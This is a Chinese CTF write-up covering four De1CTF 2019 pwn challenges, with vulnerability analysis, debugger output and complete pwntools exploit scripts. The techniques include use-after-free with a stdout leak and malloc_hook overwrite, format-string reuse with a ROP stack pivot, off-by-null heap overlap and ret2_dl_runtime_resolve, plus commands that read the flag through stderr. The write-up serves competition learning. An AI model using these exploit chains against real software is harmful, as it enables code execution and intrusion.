De1CTF 2019 PWN

Venom

My Solve:

PWN
为抢血来的,前两题都是第四个交的,一丝难受,还好最后一个抢了二血
真是愈来愈菜,近一个月没搞pwn了,感觉kernel pwn有点玩脱了,没搞定

0x01 Weapon

Analyze

比较简单的一题,死在网速上,错失三血
在delete过程中很明显存在UAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 delete()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = get_num();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
free(*((void **)&unk_202060 + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

没有show操作,选择利用IO_FILE来leak
add过程中chunk有大小限制:0-0x60
所以先利用uaf修改一个fd低位来修改一个chunksize构造unsortbin,此时chunk即会包含main_arena+88
而后再利用UAF将一个fd指向这里,并修改这里的fd(main_arena+88)低字节指向stdout前的位置(包含合法size”\x7F”),进而修改stdout结构体的_flags和_IO_write_base来输出一段数据(包含libc_addr)
leak后再次利用uaf修改malloc_hook为one_target即可get shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

#p=process("./pwn")
context.log_level="debug"
def add(index,size,name):
p.sendlineafter(">> \n","1")
p.sendlineafter("weapon: ",str(size))
p.sendlineafter("index: ",str(index))
p.sendafter(" name:\n",name)

def delete(index):
p.sendlineafter(">> \n","2")
p.sendlineafter("input idx :",str(index))

def edit(index,name):
p.sendlineafter(">> ","3")
p.sendlineafter("idx: ",str(index))
p.sendafter("new content:\n",name)
for i in range(100):
try:
p=remote("139.180.216.34","8888")
add(0,0x28,"\x00"*0x10+p64(0x30))
add(1,0x28,"aaaaa")
add(2,0x50,"aaaaa")
add(3,0x60,"aaaaa")
delete(0)
delete(1)
edit(1,"\x18")
add(0,0x28,"ccccc")
add(1,0x28,p64(0)*2+p64(0x91))
delete(0)
add(4,0x60,"\xdd\x25")
add(5,0x60,"aaaaa")
delete(3)
delete(5)
edit(5,"\x30")
add(6,0x60,"aaaaa")
add(6,0x60,"bbbbb")
add(6,0x60,"ccccc")
edit(6,"\x00"*3+p64(0)*6+p64(0xfbad1887)+p64(0)*3+"\x00")
p.recvuntil("\x7f")
p.recv(2)
libc_addr=u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
print hex(libc_addr)
add(6,0x60,"eeeeeeee")
delete(6)
edit(6,p64(libc_addr+0x7ffff7dd1b10-0x7ffff7a0d000-0x23))
add(6,0x60,"aaaaa")
add(6,0x60,"\x00"*0x13+p64(libc_addr+0xf1147))
#gdb.attach(p)
p.interactive()
except:
print "error"

0x02 Unprintable

Analyze

也是第四个交,无奈ing
程序GOT表不可写
main function会输出stack addr后关闭stdout
而后会有一次格式化字符串漏洞,最后exit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %p\n", &v3);
close(1);
read(0, buf, 0x1000uLL);
printf(buf, buf);
exit(0);
}

首先考虑复用格式化字符串漏洞
在exit的时候发现了一处指针可控程序流且地址在栈上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
RAX  0x600e48 (_DYNAMIC+96) — 0x1c
RBX 0x7f9a13da11680x2c8
RCX 0x4
RDX 0x0
RDI 0x7f9a13da0948 (_rtld_global+2312) — 0x0
RSI 0x0
R8 0x4
R9 0x3
R10 0x7ffefcd815180x7f9a13da09d8 (_rtld_global+2456) — 0x7f9a13b7a000 — jg 0x7f9a13b7a047
R11 0x3
R12 0x6010a0 (buf+64) — 0x400726 (main) — push rbp
R13 0x0
R14 0x7ffefcd815000x7f9a13da11680x2c8
R15 0x0
RBP 0x7ffefcd815c00x7f9a13b745f8 (__exit_funcs) — 0x7f9a13b75c40 (initial) — 0x0
RSP 0x7ffefcd815000x7f9a13da11680x2c8
RIP 0x7f9a13b8ade3 (_dl_fini+819) — call qword ptr [r12 + rdx*8]
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7f9a13b8ade3 <_dl_fini+819> call qword ptr [r12 + rdx*8] <0x400726>
rdi: 0x7f9a13da0948 (_rtld_global+2312) — 0x0
rsi: 0x0
rdx: 0x0
rcx: 0x4

0x7f9a13b8ade7 <_dl_fini+823> test r13d, r13d
0x7f9a13b8adea <_dl_fini+826> lea r13d, [r13 - 1]
0x7f9a13b8adee <_dl_fini+830> jne _dl_fini+816 <0x7f9a13b8ade0>

0x7f9a13b8adf0 <_dl_fini+832> mov rax, qword ptr [rbx + 0xa8]
0x7f9a13b8adf7 <_dl_fini+839> test rax, rax

在这里rdx固定,r12由:

1
<_dl_fini+788>    add    r12, qword ptr [rbx] <0x600dd8>

确定,而rbx=0x7f9a13da1168,这个地址在栈上存在,格式化字符串时修改时对应%26$n,r12在add前固定,为0x600dd8
所以可以更改[rbx]内的偏移,使在call qword ptr [r12 + rdx*8]时,r12+rdx*8指向buf内的空间,对应位置存入main_func_addr即可实现复用一次
这时候就可以在第一次格式化字符串时修改偏移复用,并在栈中修改一个栈上的指针指向第二次printf时返回地址对应位置,即可在复用printf时修改自己的返回地址实现再次复用
不过这里注意因为%n最大修改为0x2000,所以我们要在最开始获得一个stack_addr&0xFFFF<0x2000的栈地址
再次复用时为了方便,避免下次返回地址再次变化,修改返回地址为0x4007A3,此时栈不会继续增长:

1
2
3
4
5
6
7
8
9
.text:00000000004007A3                 mov     edx, 1000h      ; nbytes
.text:00000000004007A8 mov esi, offset buf ; buf
.text:00000000004007AD mov edi, 0 ; fd
.text:00000000004007B2 call read
.text:00000000004007B7 mov edi, offset buf ; format
.text:00000000004007BC mov eax, 0
.text:00000000004007C1 call printf
.text:00000000004007C6 mov edi, 0 ; status
.text:00000000004007CB call exit

下面考虑栈迁移,便于构造ROP链
首先看到一条比较好的gadget:

1
0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

这时候只需要修改printf返回地址为此处,并在下一地址写入buf内的地址
即可在printf返回时pop rsp,使rsp指向buf内的地址,完成栈迁移
栈迁移后考虑构造execv(“/bin/sh”)
首先要获得一个syscall的地址,程序本身没有syscall的gadget
而且buf内没有可用地址,所以考虑先调用libc函数在栈中留下一个syscall附近地址,尝试后发现puts可以,调用puts后可以在栈中留下一个libc地址,且此地址附近(更改最低位一字节后便可以)存在syscall
此时获得了syscall
rdi,rsi可以直接利用pop的gadget构造
最后需要构造rax和rdx
rdx可以通过:

1
2
3
4
.text:0000000000400810                 mov     rdx, r13
.text:0000000000400813 mov rsi, r14
.text:0000000000400816 mov edi, r15d
.text:0000000000400819 call qword ptr [r12+rbx*8]

间接获得
rax我选择最后read 0x3b个字节来利用read的返回值设置
设置好所有寄存器后跳入预先在buf里修改好的syscall地址即可获得shell
因为没有stdout,所以获得shell直接将输出转入stderr或者stdin即可:

1
2
cat flag >&0
cat flag >&2

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import time
context.log_level="debug"
# def fuck(ad,value):
# p.send("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%19$hn")
# time.sleep(5)
# p.send("%163c%75$hhn%"+str((value&0xffff)-163)+"c%20$hn")
# ad=ad+4
# value=value>>8
# time.sleep(5)
# p.send("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%19$hn")
# time.sleep(5)
# p.send("%163c%75$hhn%"+str((value&0xffff)-163)+"c%20$hn")
for i in range(1000):
p=remote("45.32.120.212",9999)
p.recvuntil("gift: ")
addr=int(p.recvuntil("\n"),16)
print hex(addr)
if addr&0xffff<0x2000:
#gdb.attach(p)
#time.sleep(20)
stack1=addr-0x7fffffffdd90+0x7fffffffdc58
print hex(stack1)
payload="%712c%26$naaaaaa"
payload+=("%"+str((stack1&0xffff)-718)+"c%11$hn").ljust(48,"a")+p64(0x0400726)
p.sendline(payload)
time.sleep(2)
ad=stack1+8
print hex(ad)
value=0x6011b0
p.sendline("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%21$hn")
time.sleep(2)
p.sendline("%163c%75$hhn%"+str((value&0xffff)-163)+"c%16$hn")
ad=ad+2
value=value>>8
time.sleep(2)
p.sendline("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%21$hn")
time.sleep(2)
p.sendline("%96c%16$hn%67c%75$hhn")
time.sleep(2)
rop=p64(0x400833)+p64(0x6011f0)+p64(0x0400831)+p64(0x601060)+p64(0)+p64(0x4005F0)
rop+=p64(0x400833)+p64(0)+p64(0x0400831)+p64(0x601160)+p64(0)+p64(0x400610)
rop+=p64(0x400833)+p64(0)+p64(0x0400831)+p64(0x601060)+p64(0)+p64(0x400610)
rop+=p64(0x400833)+p64(0x601060)+p64(0x40082A)+p64(0)+p64(0)
rop+=p64(0x601168)+p64(0)+p64(0)+p64(0x601060)+p64(0x400810)
p.sendline("%2093c%75$hn\x00".ljust(0x150,"a")+p64(0)*3+rop)
time.sleep(2)
p.send("a"*8+"\xac")
time.sleep(2)
#gdb.attach(p)
p.send("/bin/sh".ljust(0x3b,"\x00"))
p.interactive()
exit()
else:
p.close()
#cat flag >&0

0x03 A+B Judge

感觉应该很多人都是非预期
提交程序编译运行会直接输出结果,所以直接system(“cat flag”)即可

EXP

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
system("cat flag");
return 0;
}

0x04 Mimic_note

Analyze

二血,happy
做完的时候才发现更新了附件给了远程的server
不过用处不大,同时给32和64位文件很明显是两个程序输入输出需要相同
这时候首先确定不能leak,不然32和64位一定有区别
所以首先确定思路是需要构造ret2_dl_runtime_resolve
程序本身漏洞在edit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *edit()
{
char *result; // eax
int v1; // [esp+8h] [ebp-10h]

puts("index ?");
v1 = get_int();
if ( v1 < 0 || v1 > 15 || !(&notes)[2 * v1] )
return (char *)puts("invalid index");
puts("content?");
result = &(&notes)[2 * v1][read(0, (&notes)[2 * v1], nbytes[2 * v1])];
*result = 0;
return result;
}

很明显存在off by null
我选择在32位中get shell
因为32位和64位off by null触发时size不同,所以可以保证利用过程中输入输出相同
首先常规思路,利用off by null触发unlink操作来造成堆重叠
堆重叠后利用double free来分配chunk到notes中(程序没有开启PIE)
此时即可修改notes结构体实现任意地址写
下面考虑栈迁移:
程序GOT表可写,并且发现一个较好的gadget:

1
0x080489fb : pop ebp ; ret

要在栈中构造一条ROP链
首先栈中数据可控的只有get_int时的输入
所以要找到一个函数可以调用时跳入get_int的buf里
最后选择delete
delete时,在get_int后call free时:

1
2
3
4
5
6
pwndbg> x/10xg $esp-0x20
0xffb46d80: 0x6161616161616161 0x6161616161616161
0xffb46d90: 0x6161616161616161 0x76aa5c00ffb46d0a
0xffb46da0: 0xf7e6eb93080489fb 0x080486bbffb46dc8
0xffb46db0: 0x08048ab700000001 0x0000000100000003
0xffb46dc0: 0x0000000000000001 0x0804896affb46de8

可以看到此时esp与数据块很接近
在此之前先将free的got表中地址改为:

1
2
3
.text:08048679                 sub     esp, 0Ch
.text:0804867C push eax ; size
.text:0804867D call _malloc

因为此处sub esp, 0Ch,可以使esp落入get_int的buf[0x14],而后push eax,因为call free时eax为需要free的chunk地址,所以事先在对应note处写入一个需要的地址即可在push时打入栈中,这样,我们可控的rop链长度就会为0xc字节,在此前,将malloc的got表地址改为:

1
2
.init:08048439                 pop     ebx
.init:0804843A retn

此时call malloc即可滑入rop链,rop链设置为pop_ebp+fake_stack_addr+leave_ret即可迁移栈段
迁移栈段后ret2_dl_runtime_resolve:
迁移栈到预先设计好的保存伪造的参数及dynsym和dynstr的位置即可
不过有个注意点,这次发现ret2_dl_runtime_resolve时候r_info的数值实际上不能任意,即伪造的dynsym结构所在的地址有要求:
在一些地址伪造dynsym结构会在_dl_fixup时crash
跟进程序流:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 EAX  0x804a030 (_GLOBAL_OFFSET_TABLE_+48) — 0x80484e6 (atoi@plt+6) — push   0x48 /* 'hH' */
EBX 0x8048288 — dec esi /* 'N' */
ECX 0x0
EDX 0x8049fc4 (_DYNAMIC+176) — 0x6ffffff0
EDI 0xf7f89918 — 0x0
ESI 0xb
EBP 0x804a030 (_GLOBAL_OFFSET_TABLE_+48) — 0x80484e6 (atoi@plt+6) — push 0x48 /* 'hH' */
ESP 0xfff01148 — 0x1
EIP 0xf7f7384b (_dl_fixup+107) — mov edx, dword ptr [edx + 4]
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
0xf7f73835 <_dl_fixup+85> mov ebp, eax
0xf7f73837 <_dl_fixup+87> jne _dl_fixup+304 <0xf7f73910>

0xf7f7383d <_dl_fixup+93> mov edx, dword ptr [edi + 0xe4]
0xf7f73843 <_dl_fixup+99> test edx, edx
0xf7f73845 <_dl_fixup+101> je _dl_fixup+272 <0xf7f738f0>

0xf7f7384b <_dl_fixup+107> mov edx, dword ptr [edx + 4]
0xf7f7384e <_dl_fixup+110> movzx edx, word ptr [edx + esi*2]
0xf7f73852 <_dl_fixup+114> and edx, 0x7fff
0xf7f73858 <_dl_fixup+120> shl edx, 4
0xf7f7385b <_dl_fixup+123> add edx, dword ptr [edi + 0x170]
0xf7f73861 <_dl_fixup+129> mov ecx, dword ptr [edx + 4]

其中有一步会根据r_info>>8来获取距离此处:
something
偏移处的数值,而后计算出一个地址,并取值:

1
2
0xf7f7385b <_dl_fixup+123>    add    edx, dword ptr [edi + 0x170]
0xf7f73861 <_dl_fixup+129> mov ecx, dword ptr [edx + 4]

其实这里只需要计算出的edx地址合法即可
但是在伪造dynsym结构体时,在某些地址下伪造可能会导致前面根据esi(r_info)取出的数有问题,导致最后dl_fixup+129处计算出的edx地址非法,所以在伪造dynsym结构时需要选择一个合适的地址(可以多试几次),来使这里edx合法,不造成crash,后面即可正常调用
最后get shell时,因为32位和64位输出会不相同,最初想的是反弹shell
但是远程报错没有nc和bash命令
不过既然存在报错,直接将最后输出转向stderr读取flag即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context.log_level="debug"
def new(size):
p.sendlineafter(">> ","1")
p.sendlineafter("size?\n",str(size))
def delete(index):
p.sendlineafter(">> ","2")
p.sendlineafter("index ?\n",str(index))
def show(index):
p.sendlineafter(">> ","3")
p.sendlineafter("index ?\n",str(index))
return p.recvuntil("\n")
def edit(index,note):
p.sendlineafter(">> ","4")
p.sendlineafter("index ?\n",str(index))
p.sendafter("content?\n",note)
def get_payload():
stack_addr=0x804a720
rel_plt = 0x80483c8
plt_0=0x8048440
index_offset = (stack_addr + 28) - rel_plt
atoi_got = 0x804A030
dynsym_addr = 0x80481D8
dynstr_addr = 0x80482c8
hack_dynsym_addr = stack_addr + 36
align = 0x10 - ((hack_dynsym_addr - dynsym_addr) & 0xf)
hack_dynsym_addr = hack_dynsym_addr + align
index_dynsym_addr = (hack_dynsym_addr - dynsym_addr) / 0x10
r_info = (index_dynsym_addr << 8) | 0x7
hack_rel = p32(atoi_got) + p32(r_info)
st_name = (hack_dynsym_addr + 0x10) - dynstr_addr
hack_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = p32(0)+p32(plt_0)+p32(index_offset)+p32(0)
payload += p32(stack_addr + 80)+p32(0)*2+hack_rel
payload += '\x00' * align+hack_dynsym +"system\x00"
payload += '\x00'*(80-len(payload))
payload += "cat flag>&2"
return payload
#p=process("./mimic_note_32")
#gdb.attach(p)
p=remote("45.32.120.212",6666)
#gdb.attach(p)
new(0x84)
new(0x14)
new(0xfc)
new(0x14)
delete(0)
edit(1,p32(0)*4+p32(0x88+0x18))
delete(2)
new(0x84)
new(0x14)
new(0x18)
delete(1)
delete(3)
delete(2)
new(0x14)
edit(1,p32(0x804a080))
new(0x14)
new(0x14)
new(0x14)
edit(5,p32(0x804A060)+p32(0x1000)+p32(0x804a720)+p32(0x1000))
new(0x90)
payload=get_payload()
edit(6,payload)
edit(5,p32(0x804A01C)+p32(0x20))
edit(0,p32(0x08048439)+p32(0x80484a6))
edit(5,p32(0x804A014)+p32(0x10)+p32(0x080489fb)+p32(1))
edit(0,p32(0x8048679))
p.sendlineafter(">> ","2")
magic_code="1"+" "*15+"\x00"*4+p32(0x804a720)+p32(0x8048924)
#gdb.attach(p)
p.sendlineafter("index ?\n",magic_code)
p.interactive()